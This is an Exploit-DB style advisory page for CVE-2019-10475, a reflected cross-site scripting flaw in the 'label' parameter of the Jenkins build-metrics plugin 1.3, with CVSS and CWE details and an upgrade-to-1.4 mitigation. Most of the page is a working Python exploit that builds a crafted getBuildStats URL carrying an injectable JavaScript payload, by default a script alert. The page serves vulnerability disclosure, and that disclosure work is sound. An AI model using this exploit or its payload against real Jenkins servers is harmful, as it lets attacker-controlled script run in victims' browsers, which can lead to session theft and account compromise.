Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting

vendor:

Jenkins build-metrics plugin

by:

vesche (Austin Jackson)

6.1

CVSS

MEDIUM

Cross-Site Scripting

CWE

Product Name: Jenkins build-metrics plugin

Affected Version From: Jenkins build-metrics plugin 1.3

Affected Version To: Jenkins build-metrics plugin 1.3 and below

Patch Exists: YES

Related CWE: CVE-2019-10475

CPE: a:jenkins:jenkins_build-metrics_plugin:1.3

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Debian 10 (Buster), Jenkins 2.203 (latest 2019-11-05)

2019

Jenkins build-metrics plugin 1.3 – ‘label’ Cross-Site Scripting

Jenkins build-metrics plugin 1.3 and below is vulnerable to Cross-Site Scripting. This allows an attacker to inject arbitrary JavaScript code into the application, which is then executed in the browser of the victim. This vulnerability is due to insufficient validation of user-supplied input in the 'label' parameter of the 'getBuildStats' API. An attacker can exploit this vulnerability by sending a maliciously crafted request to the vulnerable API.

Mitigation:

Upgrade to Jenkins build-metrics plugin 1.4 or later.

Source

Exploit-DB raw data:

# Exploit Title: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
# Date: 2019-11-06
# Exploit Author: vesche (Austin Jackson)
# Vendor Homepage: https://plugins.jenkins.io/build-metrics
# Version: Jenkins build-metrics plugin 1.3 and below
# Tested on: Debian 10 (Buster), Jenkins 2.203 (latest 2019-11-05), and build-metrics 1.3
# CVE: CVE-2019-10475
# Write-up: https://github.com/vesche/CVE-2019-10475

#!/usr/bin/env python

import sys
import argparse

VULN_URL = '''{base_url}/plugin/build-metrics/getBuildStats?label={inject}&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search'''


def get_parser():
    parser = argparse.ArgumentParser(description='CVE-2019-10475')
    parser.add_argument('-p', '--port', help='port', default=80, type=int)
    parser.add_argument('-d', '--domain', help='domain', default='localhost', type=str)
    parser.add_argument('-i', '--inject', help='inject', default='<script>alert("CVE-2019-10475")</script>', type=str)
    return parser


def main():
    parser = get_parser()
    args = vars(parser.parse_args())
    port = args['port']
    domain = args['domain']
    inject = args['inject']
    if port == 80:
        base_url = f'http://{domain}'
    elif port == 443:
        base_url = f'https://{domain}'
    else:
        base_url = f'http://{domain}:{port}'
    build_url = VULN_URL.format(base_url=base_url, inject=inject)
    print(build_url)
    return 0


if __name__ == '__main__':
    sys.exit(main())